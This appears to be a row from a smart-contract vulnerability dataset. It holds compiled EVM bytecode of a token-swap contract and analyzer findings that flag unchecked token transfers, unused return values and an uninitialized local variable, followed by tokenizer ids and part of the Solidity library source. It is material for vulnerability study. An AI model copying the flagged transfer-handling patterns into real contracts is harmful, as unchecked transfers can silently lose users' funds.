87803b1580156118f657600080fd5b505af115801561190a573d6000803e3d6000fd5b505050506040513d602081101561192057600080fd5b506119a5915050565b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0389169163a9059cbb9160448083019260209291908290030181600087803b15801561197857600080fd5b505af115801561198c573d6000803e3d6000fd5b505050506040513d60208110156119a257600080fd5b50505b9850610a58975050505050505050565b6119c0866002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519186169163dd62ed3e91604480820192602092909190829003018186803b158015611a1357600080fd5b505afa158015611a27573d6000803e3d6000fd5b505050506040513d6020811015611a3d57600080fd5b50511015611ad9576006546001600160a01b038085169163095ea7b39116611a66896003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611aac57600080fd5b505af1158015611ac0573d6000803e3d6000fd5b505050506040513d6020811015611ad657600080fd5b50505b866001600160a01b0316886001600160a01b031614611aff57611afd888888613b87565b505b6000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015611b4e57600080fd5b505afa158015611b62573d6000803e3d6000fd5b505050506040513d6020811015611b7857600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0385169163a9059cbb916044808201926020929091908290030181600087803b158015611bcd57600080fd5b505af1158015611be1573d6000803e3d6000fd5b505050506040513d6020811015611bf757600080fd5b50909550610a58945050505050565b6000546001600160a01b031681565b6000806000859050600085600081518110611c2c57fe5b60200260200101519050855160011415611f71576001546001600160a01b03888116911614611e3557604080516323b872dd60e01b81523360048201523060248201526044810187905290516001600160a01b038416916323b872dd9160648083019260209291908290030181600087803b158015611caa57600080fd5b505af1158015611cbe573d6000803e3d6000fd5b505050506040513d6020811015611cd457600080fd5b5051611d115760405162461bcd60e51b815260040180806020018281038252605381526020018061424e6053913960600191505060405180910390fd5b611d1c856002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519185169163dd62ed3e91604480820192602092909190829003018186803b158015611d6f57600080fd5b505afa158015611d83573d6000803e3d6000fd5b505050506040513d6020811015611d9957600080fd5b50511015611e35576006546001600160a01b038084169163095ea7b39116611dc2886003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611e0857600080fd5b505af1158015611e1c573d6000803e3d6000fd5b505050506040513d6020811015611e3257600080fd5b50505b611e548787600081518110611e4657fe5b602002602001015187613b87565b506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015611ea457600080fd5b505afa158015611eb8573d6000803e3d6000fd5b505050506040513d6020811015611ece57600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b158015611f2357600080fd5b505af1158015611f37573d6000803e3d6000fd5b505050506040513d6020811015611f4d57600080fd5b505086518790600090611f5c57fe5b60200260200101518194509450505050612eef565b6001546000906001600160a01b03898116911614156120075760025460408051630d0e30db60e41b815290516001600160a01b0390921691829163d0e30db091349160048082019260009290919082900301818588803b158015611fd457600080fd5b505af1158015611fe8573d6000803e3d6000fd5b50506002546001600160a01b03169b503499508b965060019450505050505b6001546001600160a01b03898116911614801590612023575080155b1561220857604080516323b872dd60e01b81523360048201523060248201526044810188905290516001600160a01b038516916323b872dd9160648083019260209291908290030181600087803b15801561207d57600080fd5b505af1158015612091573d6000803e3d6000fd5b505050506040513d60208110156120a757600080fd5b50516120e45760405162461bcd60e51b81526004018080602001828103825260548152602001806141fa6054913960600191505060405180910390fd5b6120ef866002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519186169163dd62ed3e91604480820192602092909190829003018186803b15801561214257600080fd5b505afa158015612156573d6000803e3d6000fd5b505050506040513d602081101561216c57600080fd5b50511015612208576006546001600160a01b038085169163095ea7b39116612195896003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156121db57600080fd5b505af11580156121ef573d6000803e3d6000fd5b505050506040513d602081101561220557600080fd5b50505b60015487516001600160a01b0390911690889060009061222457fe5b60200260200101516001600160a01b031614156122785760025487516001600160a01b0390911690889060009061225757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b6001805488516001600160a01b03909116918991811061229457fe5b60200260200101516001600160a01b031614156122ea5760025487516001600160a01b0390911690889060019081106122c957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b866000815181106122f757fe5b60200260200101516001600160a01b0316886001600160a01b03161461234b57612349888860008151811061232857fe5b602002602001015161234460028a613f2790919063ffffffff16565b613b87565b505b8660018151811061235857fe5b60200260200101516001600160a01b0316886001600160a01b03161461238b57612389888860018151811061232857fe5b505b60008760018151811061239a57fe5b602002602001015190506000836001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156123f357600080fd5b505afa158015612407573d6000803e3d6000fd5b505050506040513d602081101561241d57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561246b57600080fd5b505afa15801561247f573d6000803e3d6000fd5b505050506040513d602081101561249557600080fd5b505190506124a4826002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519188169163dd62ed3e91604480820192602092909190829003018186803b1580156124f757600080fd5b505afa15801561250b573d6000803e3d6000fd5b505050506040513d602081101561252157600080fd5b505110156125bd576006546001600160a01b038087169163095ea7b3911661254a856003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561259057600080fd5b505af11580156125a4573d6000803e3d6000fd5b505050506040513d60208110156125ba57600080fd5b50505b6125c8816002613b67565b60065460408051636eb1769f60e11b81523060048201526001600160a01b03928316602482015290519186169163dd62ed3e91604480820192602092909190829003018186803b15801561261b57600080fd5b505afa15801561262f573d6000803e3d6000fd5b505050506040513d602081101561264557600080fd5b505110156126e1576006546001600160a01b038085169163095ea7b3911661266e846003613b67565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156126b457600080fd5b505af11580156126c8573d6000803e3d6000fd5b505050506040513d60208110156126de57600080fd5b50505b6008548a516000916001600160a01b03169063e8e33700908d90849061270357fe5b60200260200101518d60018151811061271857fe5b6020908102919091010151600554604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152604483018890526064830187905260016084840181905260a48401523060c484015260e4830152516101048083019260609291908290030181600087803b15801561279e57600080fd5b505af11580156127b2573d6000803e3d6000fd5b505050506040513d60608110156127c857600080fd5b50604001516009548c519192506000916001600160a01b039091169063e6a43905908e9084906127f457fe5b60200260200101518e60018151811061280957fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b031681526020019250505060206040518083038186803b15801561285e57600080fd5b505afa158015612872573d6000803e3d6000fd5b505050506040513d602081101561288857600080fd5b5051604080518082019091528d51919250829181908f906000906128a857fe5b60200260200101516001600160a01b03166001600160a01b031681526020018e6001815181106128d457fe5b6020908102919091018101516001600160a01b039081169092529084166000908152600a9091526040902061290a9160026140e9565b506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561295a57600080fd5b505afa15801561296e573d6000803e3d6000fd5b505050506040513d602081101561298457600080fd5b5051600e5490915015612b325760006129ae6127106116d1600e5485613b6790919063ffffffff16565b90508015612a3a57600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290519186169263a9059cbb926044808401936020939083900390910190829087803b158015612a0d57600080fd5b505af1158015612a21573d6000803e3d6000fd5b505050506040513d6020811015612a3757600080fd5b50505b604080516370a0823160e01b815230600482015290516001600160a01b038516916370a08231916024808301926020929190829003018186803b158015612a8057600080fd5b505afa158015612a94573d6000803e3d6000fd5b505050506040513d6020811015612aaa57600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519193506001600160a01b0385169163a9059cbb916044808201926020929091908290030181600087803b158015612aff57600080fd5b505af1158015612b13573d6000803e3d6000fd5b505050506040513d6020811015612b2957600080fd5b50612bae915050565b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0384169163a9059cbb9160448083019260209291908290030181600087803b158015612b8157600080fd5b505af1158015612b95573d6000803e3d6000fd5b505050506040513d6020811015612bab57600080fd5b50505b600d54339060ff16151560011415612bce57506000546001600160a01b03165b60008a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612c1d57600080fd5b505afa158015612c31573d6000803e3d6000fd5b505050506040513d6020811015612c4757600080fd5b50511115612d5457896001600160a01b031663a9059cbb828c6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612cac57600080fd5b505afa158015612cc0573d6000803e3d6000fd5b505050506040513d6020811015612cd657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015612d2757600080fd5b505af1158015612d3b573d6000803e3d6000fd5b505050506040513d6020811015612d5157600080fd5b50505b6000886001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612da357600080fd5b505afa158015612db7573d6000803e3d6000fd5b505050506040513d6020811015612dcd57600080fd5b50511115612eda57876001600160a01b031663a9059cbb828a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612e3257600080fd5b505afa158015612e46573d6000803e3d6000fd5b505050506040513d6020811015612e5c57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015612ead57600080fd5b505af1158015612ec1573d6000803e3d6000fd5b505050506040513d6020811015612ed757600080fd5b50505b50919a50909850612eef975050505050505050565b935093915050565b600080546001600160a01b03163314612f415760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b50600880546001600160a01b0383166001600160a01b031991821681179092556006805490911690911790556001919050565b600080546001600160a01b03163314612fbe5760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b6001546001600160a01b0385811691161415613010576040516001600160a01b0383169084156108fc029085906000818181858888f1935050505015801561300a573d6000803e3d6000fd5b50613098565b6040805163a9059cbb60e01b81526001600160a01b038481166004830152602482018690529151869283169163a9059cbb9160448083019260209291908290030181600087803b15801561306357600080fd5b505af1158015613077573d6000803e3d6000fd5b505050506040513d602081101561308d57600080fd5b5051610a5257600080fd5b5060019392505050565b600080546001600160a01b031633146130ec5760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b6008546040805163d06ca61f60e01b815260048101848152602482019283528551604483015285516060946001600160a01b03169363d06ca61f9387938993909291606401906020808601910280838360005b8381101561317c578181015183820152602001613164565b50505050905001935050505060006040518083038186803b1580156131a057600080fd5b505afa92505050801561326057506040513d6000823e601f3d908101601f1916820160405260208110156131d357600080fd5b8101908080516040519392919084600160201b8211156131f257600080fd5b90830190602082018581111561320757600080fd5b82518660208202830111600160201b8211171561322357600080fd5b82525081516020918201928201910280838360005b83811015613250578181015183820152602001613238565b5050505090500160405250505060015b6132c057604080516002808252606080830184529260208301908036833701905050905060008160008151811061329357fe5b6020026020010181815250506000816001815181106132ae57fe5b60209081029190910101529050610c3d565b9050610c3d565b600c60205282600052604060002060205281600052604060002081815481106132ef57600080fd5b6000918252602090912001546001600160a01b0316925083915050565b600d5460ff1681565b600a602052816000526040600020818154811061333157600080fd5b6000918252602090912001546001600160a01b03169150829050565b600080546001600160a01b031633146133975760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b6001600160a01b038085166000908152600c6020908152604080832093871683529281529190208351610a52928501906140e9565b60408051600280825260608083018452928392919060208301908036833701905050905084816000815181106133fe57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061342c57fe5b6001600160a01b039283166020918202929092018101919091528682166000908152600c825260408082209388168252929091522054156134e8576001600160a01b038086166000908152600c60209081526040808320938816835292815290829020805483518184028101840190945280845290918301828280156134db57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116134bd575b5050505050915050610a58565b604080516244414960e81b8152600b60038201529051908190036023019020546001600160a01b038681169116148061354c575060408051635553444360e01b8152600b60048201529051908190036024019020546001600160a01b038681169116145b80613582575060408051631554d11560e21b8152600b60048201529051908190036024019020546001600160a01b038681169116145b1561358e579050610a58565b604080516244414960e81b8152600b60038201529051908190036023019020546001600160a01b03858116911614806135f2575060408051635553444360e01b8152600b60048201529051908190036024019020546001600160a01b038581169116145b80613628575060408051631554d11560e21b8152600b60048201529051908190036024019020546001600160a01b038581169116145b15613634579050610a58565b604080516003808252608082019092526060916020820183803683375050604080516003808252608082019092529293506060929150602082018380368337505060408051600380825260808201909252929350606092915060208201838036833701905050905087836000815181106136aa57fe5b6001600160a01b039283166020918202929092010152604080516244414960e81b8152600b60038201529051908190036023019020548451911690849060019081106136f257fe5b60200260200101906001600160a01b031690816001600160a01b031681525050868360028151811061372057fe5b60200260200101906001600160a01b031690816001600160a01b031681525050878260008151811061374e57fe5b6001600160a01b03928316602091820292909201015260408051635553444360e01b8152600b600482015290519081900360240190205483519116908390600190811061379757fe5b60200260200101906001600160a01b031690816001600160a01b03168152505086826002815181106137c557fe5b60200260200101906001600160a01b031690816001600160a01b03168152505087816000815181106137f357fe5b6001600160a01b03928316602091820292909201015260408051631554d11560e21b8152600b600482015290519081900360240190205482519116908290600190811061383c57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050868160028151811061386a57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060006138968588613111565b6001815181106138a257fe5b6020026020010151905060606138b88589613111565b905060606138c6848a613111565b905060606138d4868b613111565b90506000836001855103815181106138e857fe5b6020026020010151905060008360018551038151811061390457fe5b6020026020010151905060008360018551038151811061392057fe5b6020908102919091010151604080516002808252606082810190935292935089928160200160208202803683375050604080516003808252608082019092529293506060929150602082018380368337019050508e925090506001868b101561398d57508592508c905060005b8484101561399f57508392508b905060005b858410156139b157508492508a905060005b600084116139f05760405162461bcd60e51b815260040180806020018281038252603d815260200180614186603d913960400191505060405180910390fd5b60018115151415613a1257829f50505050505050505050505050505050610a58565b509d50610a589c50505050505050505050505050565b600e5481565b600f5481565b600080546001600160a01b03163314613a7e5760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b81600b846040518082805190602001908083835b60208310613ab15780518252601f199092019160209182019101613a92565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922080546001600160a01b0319166001600160a01b039490941693909317909255506001949350505050565b600080546001600160a01b03163314613b505760405162461bcd60e51b81526004018080602001828103825260228152602001806141646022913960400191505060405180910390fd5b50600d805460ff1916911515919091179055600190565b6000828202831580613b81575082848281613b7e57fe5b04145b610a5857fe5b6001546000906001600160a01b038581169116148015613bb457506002546001600160a01b038481169116145b15613c2757600360009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b158015613c0957600080fd5b505af1158015613c1d573d6000803e3d6000fd5b5050505050610a58565b6001600160a01b038416613dcb57600254606090613c4f906001600160a01b031685856133cc565b600854604051637ff36ab560e01b8152600060048201818152306044840181905266038d7ea4c68000606485018190526080602486019081528751608487015287519798506001600160a01b0390961696637ff36ab59634968a959260a490910190602080880191028083838b5b83811015613cd5578181015183820152602001613cbd565b50505050905001955050505050506000604051808303818588803b158015613cfc57600080fd5b505af1158015613d10573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526020811015613d3a57600080fd5b8101908080516040519392919084600160201b821115613d5957600080fd5b908301906020820185811115613d6e57600080fd5b82518660208202830111600160201b82111715613d8a57600080fd5b82525081516020918201928201910280838360005b83811015613db7578181015183820152602001613d9f565b505050509050016040525050505050610a58565b6002546001600160a01b0385811691161415613ee35760035460408051632e1a7d4d60e01b81526004810185905290516001600160a01b0390921691632e1a7d4d9160248082019260009290919082900301818387803b158015613e2e57600080fd5b505af1158015613e42573d6000803e3d6000fd5b505060025460609250613e6091506001600160a01b031685856133cc565b600854604051637ff36ab560e01b8152600060048201818152306044840181905266038d7ea4c68000606485018190526080602486019081528751608487015287519798506001600160a01b0390961696637ff36ab5968b968a959260a490910190602087810191028083838b8315613cd5578181015183820152602001613cbd565b6060613ef08585856133cc565b90506060613efe8285613f56565b9050600081600183510381518110613f1257fe5b60200260200101519050809350505050610a58565b6000808211613f3257fe5b6000828481613f3d57fe5b049050828481613f4957fe5b06818402018414610a5857fe5b6008546040516338ed173960e01b815260048101838152600060248301819052306064840181905266038d7ea4c680006084850181905260a060448601908152885160a48701528851606097929688966001600160a01b03909416956338ed1739958b9591948d9491938b939260c490910190602080880191028083838b5b83811015613fed578181015183820152602001613fd5565b505050509050019650505050505050600060405180830381600087803b15801561401657600080fd5b505af115801561402a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561405357600080fd5b8101908080516040519392919084600160201b82111561407257600080fd5b90830190602082018581111561408757600080fd5b82518660208202830111600160201b821117156140a357600080fd5b82525081516020918201928201910280838360005b838110156140d05781810151838201526020016140b8565b5050505091909101604052509298975050505050505050565b82805482825590600052602060002090810192821561413e579160200282015b8281111561413e57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190614109565b5061414a92915061414e565b5090565b5b8082111561414a576000815560010161414f56fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6e2e546869732074726164652077696c6c20726573756c7420696e2067657474696e67207a65726f20746f6b656e73206261636b2e20526576657274696e6741646d696e2063616e6e6f7420736574207468652066656520686967686572207468616e207468652063757272656e74206d6178666565596f752068617665206e6f7420617070726f766564207468697320636f6e7472616374206f7220646f206e6f74206861766520656e6f75676820746f6b656e20666f722074686973207472616e73666572202032596f752068617665206e6f7420617070726f766564207468697320636f6e7472616374206f7220646f206e6f74206861766520656e6f75676820746f6b656e20666f722074686973207472616e736665722031596f752068617665206e6f7420617070726f766564207468697320636f6e7472616374206f7220646f206e6f74206861766520656e6f75676820746f6b656e20666f722074686973207472616e7366657220203320756e7772617070696e6741646d696e2063616e206f6e6c7920736574206d617820666565206f6e636520616e64206974206973207065726da26469706673582212201d9fb9e26cbf816f005326b0a97975846accbbfd53dc2dba29da14cfce3022c464736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 3207, 23833, 2581, 2497, 2683, 23632, 14142, 2497, 2487, 11057, 2575, 14141, 28756, 20958, 22610, 23777, 16703, 12521, 2497, 2683, 2050, 22907, 22407, 2575, 1013, 1008, 1036, 1012, 1011, 1024, 1009, 9808, 2100, 23644, 23644, 23644, 7274, 2080, 1009, 1024, 1011, 1012, 1036, 1012, 1024, 1009, 21076, 2213, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 26876, 2100, 1009, 1024, 1012, 1012, 1009, 1061, 2213, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 10695, 8029, 1009, 1012, 1036, 1013, 20287, 10695, 10695, 10695, 10695, 26876, 7274, 1009, 1013, 1013, 1024, 1024, 1024, 1024, 1013, 1013, 1009, 25353, 22117, 10695, 10695, 10695, 10695, 2213, 2232, 1013, 1036, 1012, 1051, 2094, 10695, 10695, 10695, 4859, 2100, 1009, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,879
0x95deaF8dd30380acd6CC5E4E90e5EEf94d258854
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } interface IERC20 { function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present 